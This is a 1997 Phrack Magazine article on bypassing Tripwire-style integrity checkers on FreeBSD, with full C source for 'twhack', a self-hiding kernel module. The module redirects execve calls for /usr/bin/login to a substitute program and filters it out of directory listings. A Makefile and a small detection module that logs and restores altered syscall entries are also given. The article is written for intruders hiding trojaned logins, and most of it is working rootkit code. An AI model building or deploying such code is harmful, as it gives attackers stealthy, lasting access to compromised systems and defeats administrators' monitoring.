Title : Bypassing Integrity Checking Systems
Author : halflife
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 09 of 17
-------------------------[ Bypassing Integrity Checking Systems
--------[ halflife <halflife@infonexus.com>
In this day and age where intrusions happen on a daily basis and there is a
version of "rootkit" for every operating system imaginable, even mostly
incompetent system administration staff have begun doing checksums on their
binaries. For the hacker community, this is a major problem since their very
clever trojan programs are quickly detected and removed. Tripwire is a very
popular and free utility to do integrity checking on UNIX systems. This
article explores a simple method for bypassing checks done by tripwire and
other integrity checking programs.
First off, how do integrity-checking programs work? Well, when you first
install them, they calculate a hash (sometimes multiple hashes) of all the
binary files you wish to monitor. Then, periodically, you run the checker
and it compares the current hash with the previously recorded hash. If the
two differ, than something funny is going on, and it is noted. Several
different algorithms exist for doing the hashes, the most popular probably
being the MD5 hash.
In the past, there have been problems with several hashes. MD5 has had some
collisions, as have many other secure hash algorithms. However, exploiting the
collisions is still very very difficult. The code in this article does not
rely on the use of a specific algorithm, rather we focus on a problem of trust
-- integrity checking programs need to trust the operating system, and some
may even trust libc. In code that is designed to detect compromises that
would by their very nature require root access, you can not trust anything,
including your own operating system.
The design of twhack had several requirements. The first is that it need not
require a kernel rebuild; loadable kernel modules (lkm) provided a solution
to this. The second is that it need be relatively stealthy. I managed to find
a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD
and NetBSD although I have not verified this). Once you load the module, the
first ls type command will effectively hide the module from view. Once hidden
it can not be unloaded or seen with the modunload(8) command.
First, a little information on FreeBSD loadable modules. I am using the MISC
style of modules, which is basically similar to linux modules. It gives you
pretty much full access to everything. LKM info is stored in an array of
structures. In FreeBSD 2.2.1 the array has room for 20 modules.
Hiding the modules is really quite simple. There is a used variable that
determines if the module slot is free or not. When you insert a module, the
device driver looks for the first free module entry -- free being defined as
an entry with 0 in the used slot and places some info in the structure. The
info is mainly used for unloading, and we are not interested in that, so it is
okay if other modules overwrite our structure (some might call that a feature,
even).
Next we have to redirect the system calls we are interested in. This is
somewhat similar to Linux modules as well. System calls are stored in an
array of structures. The structure contains a pointer to the system call and
a variable specifying the number of arguments. Obviously, all we are
interested in is the pointer. First we bcopy the structure to a variable,
then we modify the function pointer to point to our code. In our code we can
do stuff like old_function.sy_call(arguments) to call the original system call
-- quick and painless.
Now that we know HOW to redirect system calls, which ones do we redirect in
order to bypass integrity checkers? Well, there are a number of possibilities.
You could redirect open(), stat(), and a bunch of others so that reads of your
modified program redirect to copies of the unmodified version. I, however,
chose the opposite approach. Execution attempts of login redirect to another
program, opens still go to the real login program. Since we don't want our
alternative login program being detected, I also modified getdirentries so
that our program is never in the buffer it returns. Similar things probably
should have been done with syscall 156 which is old getdirentries, but I don't
think it is defined and I don't know of anything using it, so it probably does
not really matter.
Despite the attempts at keeping hidden, there are a few ways to detect this
code. One of the ways of detecting (and stopping) the code is provided.
It is a simple stealthy module that logs when syscall addresses change, and
reverses the changes. This will stop the twhack module as provided, but is
FAR from perfect.
What the checking code does is bcopy() the entire sysent array into a local
copy. Then it registers an at_fork() handler and in the handler it checks
the current system call table against the one in memory, if they differ it
logs the differences and changes the entry back.
<++> twhack/Makefile
CC=gcc
LD=ld
RM=rm
CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST)
LDFLAGS=-r
RST=-DRESTORE_SYSCALLS
all: twhack syscheck
twhack:
$(CC) $(CFLAGS) -c twhack.c
$(LD) $(LDFLAGS) -o twhack_mod.o twhack.o
@$(RM) twhack.o
syscheck:
$(CC) $(CFLAGS) -c syscheck.c
$(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o
@$(RM) syscheck.o
clean:
$(RM) -f *.o
<-->
<++> twhack/twhack.c
/*
** This code is a simple example of bypassing Integrity checking
** systems in FreeBSD 2.2. It has been tested in 2.2.1, and
** believed to work (although not tested) in 3.0.
**
** Halflife <halflife@infonexus.com>
*/
/* change these */
#define ALT_LOGIN_PATH "/tmp/foobar"
#define ALT_LOGIN_BASE "foobar"
/* includes */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>
/* storage for original execve and getdirentries syscall entries */
static struct sysent old_execve;
static struct sysent old_getdirentries;
/* prototypes for new execve and getdirentries functions */
int new_execve __P((struct proc *p, void *uap, int retval[]));
int new_getdirentries __P((struct proc *p, void *uap, int retval[]));
/* flag used for the stealth stuff */
static int hid=0;
/* table we need for the stealth stuff */
static struct lkm_table *table;
/* misc lkm */
MOD_MISC(twhack);
/*
** this code is called when we load or unload the module. unload is
** only possible if we initialize hid to 1
*/
static int
twhack_load(struct lkm_table *l, int cmd)
{
int err = 0;
switch(cmd)
{
/*
** save execve and getdirentries system call entries
** and point function pointers to our code
*/
case LKM_E_LOAD:
if(lkmexists(l))
return(EEXIST);
bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent));
sysent[SYS_execve].sy_call = new_execve;
bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent));
sysent[SYS_getdirentries].sy_call = new_getdirentries;
table = l;
break;
/* restore syscall entries to their original condition */
case LKM_E_UNLOAD:
bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent));
bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent));
break;
default:
err = EINVAL;
break;
}
return(err);
}
/* entry point to the module */
int
twhack_mod(struct lkm_table *l, int cmd, int ver)
{
DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);
}
/*
** execve is simple, if they attempt to execute /usr/bin/login
** we change fname to ALT_LOGIN_PATH and then call the old execve
** system call.
*/
int
new_execve(struct proc *p, void *uap, int *retval)
{
struct execve_args *u=uap;
if(!strcmp(u->fname, "/usr/bin/login"))
strcpy(u->fname, ALT_LOGIN_PATH);
return old_execve.sy_call(p, uap, retval);
}
/*
** in getdirentries() we call the original syscall first
** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH
** and ALT_LOGIN_BASE should _always_ be modified and made
** very obscure, perhaps with upper ascii characters.
*/
int
new_getdirentries(struct proc *p, void *uap, int *retval)
{
struct getdirentries_args *u=uap;
struct dirent *dep;
int nbytes;
int r,i;
/* if hid is not set, set the used flag to 0 */
if(!hid)
{
table->used = 0;
hid++;
}
r = old_getdirentries.sy_call(p, uap, retval);
nbytes = *retval;
while(nbytes > 0)
{
dep = (struct dirent *)u->buf;
if(!strcmp(dep->d_name, ALT_LOGIN_BASE))
{
i = nbytes - dep->d_reclen;
bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen);
*retval = i;
return r;
}
nbytes -= dep->d_reclen;
u->buf += dep->d_reclen;
}
return r;
}
<-->
<++> twhack/syscheck.c
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>
static int hid=0;
static struct sysent table[SYS_MAXSYSCALL];
static struct lkm_table *boo;
MOD_MISC(syscheck);
void check_sysent(struct proc *, struct proc *, int);
static int
syscheck_load(struct lkm_table *l, int cmd)
{
int err = 0;
switch(cmd)
{
case LKM_E_LOAD:
if(lkmexists(l))
return(EEXIST);
bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL);
boo=l;
at_fork(check_sysent);
break;
case LKM_E_UNLOAD:
rm_at_fork(check_sysent);
break;
default:
err = EINVAL;
break;
}
return(err);
}
int
syscheck_mod(struct lkm_table *l, int cmd, int ver)
{
DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd);
}
void
check_sysent(struct proc *parent, struct proc *child, int flags)
{
int i;
if(!hid)
{
boo->used = 0;
hid++;
}
for(i=0;i < SYS_MAXSYSCALL;i++)
{
if(sysent[i].sy_call != table[i].sy_call)
{
printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call);
#ifdef RESTORE_SYSCALLS
sysent[i].sy_call = table[i].sy_call;
#endif
}
}
}
<-->
----[ EOF